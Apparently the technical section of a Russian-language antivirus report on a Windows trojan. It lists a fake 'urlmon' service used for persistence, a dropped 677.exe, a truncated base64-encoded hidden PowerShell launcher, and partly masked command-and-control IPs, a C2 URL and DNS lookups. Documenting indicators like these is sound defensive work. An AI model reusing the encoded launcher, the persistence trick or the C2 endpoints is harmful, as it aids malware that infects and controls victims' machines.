Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\urlmon] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\urlmon] 'ImagePath' = '"%WINDIR%\SysWOW64\osuninst\urlmon.exe"'
- 'urlmon' "%WINDIR%\SysWOW64\osuninst\urlmon.exe"
- 'urlmon' %WINDIR%\SysWOW64\osuninst\urlmon.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABiAGEAZQBwAHQAbwB1AHAAbQBvAHoAcQB1AGEAcQB1AGcAdQByAD0AJwBnAGEAaQByAGYAbwBvAHYAdwBpAGEAdABoAHQAYQBlAGcAcABvAHUAbQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6AD...
- %HOMEPATH%\677.exe
- %HOMEPATH%\677.exe
- %HOMEPATH%\677.exe в %WINDIR%\syswow64\osuninst\urlmon.exe
- %HOMEPATH%\677.exe
- '10#.#17.53.230':443
- '21#.#1.142.238':8080
- http://21#.##.142.238:8080/WmqGJuP9/XLvLZdeohDXpKC/padQQxUwuaXY/ via 21#.#1.142.238
- DNS ASK to###meus.com
- DNS ASK cp##s.net
- DNS ASK ty##s2c.com
- DNS ASK th####erservice.com
- DNS ASK ss##e.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABiAGEAZQBwAHQAbwB1AHAAbQBvAHoAcQB1AGEAcQB1AGcAdQByAD0AJwBnAGEAaQByAGYAbwBvAHYAdwBpAGEAdABoAHQAYQBlAGcAcABvAHUAbQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6AD...' (со скрытым окном)